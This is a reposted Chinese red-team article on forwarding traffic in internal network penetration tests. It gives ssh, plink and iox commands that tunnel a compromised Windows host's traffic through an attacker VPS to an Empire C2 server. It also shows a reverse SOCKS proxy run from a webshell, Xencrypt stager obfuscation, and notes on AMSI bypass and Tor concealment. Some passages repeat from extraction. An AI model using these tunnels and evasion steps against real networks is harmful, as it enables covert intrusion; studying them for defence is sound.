搜索

[21594] 2021-01-13_内网渗透流量转发场景测试

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-01-13_内网渗透流量转发场景测试 内 网 渗 透   |   流 量 转 发 场 景 测 试 L e m o n S e c   2 0 2 1 - 0 1 - 1 3 0 x 0 0   前 言 流 量 转 发 ， 可 以 说 时 内 网 渗 透 的 基 础 ， 网 上 的 文 章 也 挺 多 的 ， 但 是 我 最 近 看 见 别 人 的 粗 糙 的 方 式 ， 比 如 把 流 量 转 发 ， 可 以 说 时 内 网 渗 透 的 基 础 ， 网 上 的 文 章 也 挺 多 的 ， 但 是 我 最 近 看 见 别 人 的 粗 糙 的 方 式 ， 比 如 把 C S 直 接 传 到 服 务 直 接 传 到 服 务 器 上 这 样 的 操 作 ， 我 觉 得 是 应 该 总 结 一 下 各 种 流 量 转 发 的 场 景 了 ， 方 便 渗 透 中 使 用 。 器 上 这 样 的 操 作 ， 我 觉 得 是 应 该 总 结 一 下 各 种 流 量 转 发 的 场 景 了 ， 方 便 渗 透 中 使 用 。 0 x 0 1   本 文 用 到 的 工 具 0 x 0 2   复 杂 度 0 1 . 例 如 反 弹 s h e l l 需 要 反 弹 到 自 己 V P S 上 ， 那 这 里 我 们 需 要 把 C S 或 者 e m p i r e 等 C 2 工 具 传 到 V P S 上 吗 ？ 不 需 要 ， 按 照 隐 藏 自 己 的 原 则 ， V P S 上 基 本 不 能 有 渗 透 的 任 何 文 件 ， 以 免 留 下 痕 迹 ， 命 令 其 实 也 很 简 单 ， 在 w i n 1 0 以 及 l i n u x 上 都 有 s s h 命 令 了 ， 所 以 ： -   E m p i r e   h t t p s : / / g i t h u b . c o m / E m p i r e P r o j e c t / E m p i r e   ( C 2 ) -   X e n c r y p t . p s 1   h t t p s : / / g i t h u b . c o m / t h e - x e n t r o p y / x e n c r y p t / b l o b / m a s t e r / x e n c r y p t . p s 1   ( p o w e r s h e l l   e n c r y p t ) -   I O X   h t t p s : / / g i t h u b . c o m / E d d i e I v a n 0 1 / i o x -   N e o - r e g e o r g   h t t p s : / / g i t h u b . c o m / L - c o d e s / N e o - r e G e o r g -   P l i n k     C : P r o g r a m   F i l e s   ( x 8 6 ) G i t E x t e n s i o n s P u T T Y p l i n k . e x e s s h     - C N f T   - R   4 4 4 4 : 1 9 2 . 1 6 8 . 1 3 7 . 1 2 9 : 4 4 3   r o o t @ v p s i p
注 ： v p s i p   需 要 配 置 远 程 端 口 转 发 支 持 ， 修 改 添 加 : 实 际 演 示 被 控 端 ： 1 9 2 . 1 6 8 . 1 3 7 . 1 6 4   （ n a t ） k a l i :   1 9 2 . 1 6 8 . 0 . 1 0 5   ( b r i d g e ) 这 两 台 机 器 本 身 互 不 相 同 ， 但 是 都 能 出 网 ， 所 以 使 用 V P S 来 中 转 。 这 里 使 用 E m p i r e 作 为 C 2 ， 使 用 h t t p s 监 听 , 这 里 的 H O S T 要 设 置 为 V P S I P 和 端 口 接 着 s s h 端 口 转 发 ： 生 成 一 个 s t a g e r ， 这 里 生 成 的 时 候 I P 就 是 V P S I P ， 端 口 就 是 4 4 4 4 ， 这 样 会 直 接 将 流 量 转 到 虚 拟 机 的 E m p i r e 的 4 4 3 端 口 来 。 生 成 p o w e r s h e l l   的 s t a g e r ， 先 解 码 出 来 再 用 x e n c r y p t 加 密 运 行 。 / e c t / s s h / s s h d _ c o n f i g A l l o w A g e n t F o r w a r d i n g   y e s A l l o w T c p F o r w a r d i n g   y e s G a t e w a y P o r t s   y e s I n v o k e - X e n c r y p t   - I n F i l e   x x . p s 1   - O u t F i l e   b a n a n a . p s 1   - I t e r a t i o n s   3
这 样 只 要 受 控 端 可 以 直 接 出 网 的 情 况 的 话 ， 就 可 以 这 样 利 用 。 而 且 v p s 到 内 网 机 器 的 流 量 都 是 加 密 的 。 e m p i r e 其 实 自 带 一 个 h t t p _ h o p   l i s t e n e r ， 把 生 成 的 文 件 传 到 A   V P S 上 面 ， 再 使 用 h t t p _ h o p 再 生 成 s t a g e r 来 请 求 A   V P S ， 流 量 就 会 被 转 移 到 真 实 的 B   V P S 上 。 具 体 可 以 参 考 ： h t t p s : / / w w w . h a c k i n g a r t i c l e s . i n / h i d i n g - i p - d u r i n g - p e n t e s t - u s i n g - p o w e r s h e l l - e m p i r e - h t t p _ h o p / 0 x 0 3   复 杂 度 1 其 实 为 了 自 己 更 安 全 ， C 2 最 好 放 在 自 己 虚 拟 机 自 定 义 的 一 个 不 能 出 网 的 网 段 ， 然 后 远 程 端 口 转 发 到 自 己 C 2 监 听 的 端 口 。 命 令 与 其 实 上 面 一 样 ： 只 不 过 要 在 w i n d o w s 的 物 理 机 上 执 行 ， 因 为 只 有 w i n d o w s 物 理 机 能 够 出 网 而 且 又 能 访 问 到 特 定 网 段 。 这 里 就 不 具 体 说 明 了 ， 因 为 我 们 主 要 关 注 被 控 端 能 够 访 问 到 我 们 的 V P S 端 口 ， 所 以 自 己 要 跳 几 条 V P S ， 系 统 环 境 等 随 便 怎 么 设 置 都 可 以 。 场 景 ： 拿 到 w e b s h e l l ， 发 现 是 内 网 一 台 w i n d o w s 不 能 出 网 。 这 就 需 要 找 到 一 台 能 够 出 网 的 了 。 先 使 用 r e g e o r g 进 行 正 向 代 理 ， 寻 找 到 出 网 机 器 。 这 里 依 然 可 以 使 用 s s h 远 程 转 发 ， 在 跳 板 机 上 面 执 行 。 但 是 我 们 这 使 用 I O X 来 演 示 ， 适 合 自 己 V P S 是 w i n d o w s 或 者 突 然 忘 了 自 己 v p s 密 码 的 人 : ) 实 际 演 示 测 试 环 境 ： d e b i a n : 1 9 2 . 1 6 8 . 2 1 7 . 9 2 / 1 9 2 . 1 6 8 . 1 3 7 . 1 3 9   双 网 卡 w i n 1 0 : 1 9 2 . 1 6 8 . 2 1 7 . 1 2 8 p l i n k   - C N f T   - R   4 4 4 4 : 1 9 2 . 1 6 8 . 1 3 . 2 9 : 4 4 3   r o o t @ v p s i p
v p s : 就 用 上 面 的 4 4 4 4 端 口 1 . 把 i o x   l i n u x   6 4 b i t 传 到 d e b i a n 这 个 跳 板 机 上 执 行 ： 2 . 重 新 生 成 s t a g e r ， 上 传 到 w i n 1 0 上 ， 因 为 w i n 1 0 只 能 访 问 到 1 9 2 . 1 6 8 . 2 1 7 . 1 3 9 ， 所 以 配 置 h o s t 参 数 为 h t t p : / / 1 9 2 . 1 6 8 . 2 1 7 . 9 2 : 4 4 4 4 ，   这 里 我 们 在 1 中 已 经 监 听 了 4 4 4 4 端 口 流 量 并 且 转 发 到 了 V P S 上 。 这 里 的 l i s t e n e r 必 须 配 置 为 h t t p ， 我 自 己 测 试 发 现 h t t p s 的 上 线 不 了 ， h t t p s 直 接 网 页 会 报 S S L 错 ， 但 是 还 是 能 够 访 问 的 ， 说 明 流 量 转 发 正 确 。 猜 测 可 能 是 I O X 转 发 h t t p s 流 量 不 行 。 演 示 图 中 使 用 的 是 h t t p 的 l i s t e n e r : . / i o x   f w d   - l   4 4 4 4   - r   v p s i p : 4 4 4 4
整 个 流 程 ： 内 网 不 能 出 网 的 w i n d o w s 1 0 ， 通 过 d e b i a n 把 流 量 转 发 到 v p s 端 口 ， v p s 再 转 到 自 己 的 虚 拟 机 的 C 2 中 。 配 置 s t a g e r 时 可 以 配 置 h t t p 代 理 ， 再 渗 透 中 ， 很 多 都 是 通 过 代 理 出 网 的 ， 找 到 代 理 服 务 器 I P 和 端 口 ， 设 置 h t t p / h t t p s 代 理 ， 生 成 s t a g e r 的 时 候 h o s t 就 设 置 为 v p s   就 可 以 了 ， 不 用 设 置 为 内 网 的 机 器 。   复 杂 度 1 . 1 实 际 演 示 环 境 1 ： 有 V P N 账 号 ， 但 是 在 里 面 就 是 找 不 到 代 理 或 者 可 控 的 出 网 机 器 。 1 . 在 自 己 V P N 拨 号 的 虚 拟 机 中 ， 执 行 或 者 , 将 发 往 自 己 4 4 4 4 端 口 流 量 转 发 到 1 9 2 . 1 6 8 . 1 3 7 . 1 2 9 : 4 4 3   C 2 控 制 端 。 2 . 在 被 控 端 w i n d o w s 上 的 w e b s h e l l 执 行 p a y l o a d ， 指 定 h o s t 为 我 们 V P N 拨 号 后 分 配 的 地 址 。 环 境 2 ： s s h   - C N f T   - L   4 4 4 4 : v p s i p : 4 4 4 4   r o o t @ v p s i p . / i o x   f w d   - l   4 4 4 4   - r   v p s i p : 4 4 4 4
无 V P N 账 号 ， 有 r e g e o r g   的 正 向 代 理 和 w e b s h e l l 权 限 。 那 就 正 向 代 理 : ) 环 境 3 ： 内 网 机 器 可 以 出 网 ， 但 是 没 有 公 网 I P ， 不 使 用 r e g e o r g   的 正 向 代 理 。 这 样 只 有 把 代 理 设 置 为 v p s : 1 0 8 0 ， 就 是 内 网 正 向 的 s o c k s 代 理 了 。 如 果 运 行 上 面 这 条 命 令 在 自 己 虚 拟 机 上 ， 这 样 本 地 设 置 1 2 7 . 0 . 0 . 1 : 1 0 8 8 这 个 代 理 一 样 可 以 代 理 访 问 到 内 网 。 带 加 密 的 话 I O X 也 非 常 简 单 , 这 里 使 用 虚 拟 机 来 演 示 下 ： 可 以 看 见 k a l i 是 不 能 访 问 到 那 边 的 ， 但 是 我 通 过 这 样 正 向 s o c k s 代 理 就 可 以 了 。 总 结         本 来 开 始 准 备 用 S I L E N T T R I N I T Y 作 为 C 2 的 ， 生 成 c #   s t a g e r , 然 后 使 用 d e t o u t 来 编 码 生 成 s h e l l c o d e 。 d e t o u t 生 成 的 s h e l l c o d e 有 p a t c h   a m s i 和 s c r i p t   l o g g i n g , d e v 的 分 支 也 加 上 了 b y p a s s   e t w   m o n i t o r . 但 是 S T 这 个 框 架 还 是 不 稳 定 ， 而 且 功 能 欠 缺 多 ， 但 是 这 种 技 术 思 路 很 好 。 d e t o u t + C # 的 马 还 是 很 好 用 的 。         内 网 渗 透 中 ， 环 境 会 更 复 杂 ， 我 这 里 完 全 是 抛 砖 引 玉 ， 一 个 基 本 思 路 ， 清 楚 的 知 道 自 己 的 流 量 走 向 ， 不 管 怎 么 复 杂 都 一 样 。 文 中 提 到 的 技 术 ， 都 跟 自 己 V P S 和 自 己 的 网 络 情 况 有 很 大 关 系 ， 网 速 不 好 ， 体 验 就 不 好 。 这 些 工 具 都 带 有 加 密 的 功 . / i o x   p r o x y   - r   v p s : 9 9 9 9     ( w e b s h e l l 上 执 行   s o c k s 反 弹 ) . / i o x   p r o x y   - l   9 9 9 9   - l   1 0 8 0   ( v p s 上 执 行 ) . / i o x   f w d   - l   1 0 8 8   - r   v p s i p : 1 0 8 0 . / i o x   p r o x y   - r   * v p s : 9 9 9 9   - k   7 8 8 1 2 3     ( w e b s h e l l 上 执 行 ) . / i o x   p r o x y   - l   * 9 9 9 9   - l   * 1 0 8 0   - k   7 8 8 1 2 3 ( v p s 上 执 行 ) . / i o x   f w d   - l   1 0 8 8   - r   * v p s i p : 1 0 8 0   - k   7 8 8 1 2 3 ( 自 己 的 机 器 )
能 ， 这 样 会 在 流 量 审 计 上 更 好 过 一 点 ， 不 会 上 传 C 2 到 别 人 服 务 器 上 面 ， 在 其 中 某 个 点 加 个 t o r 网 络 就 更 能 隐 藏 自 己 了 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理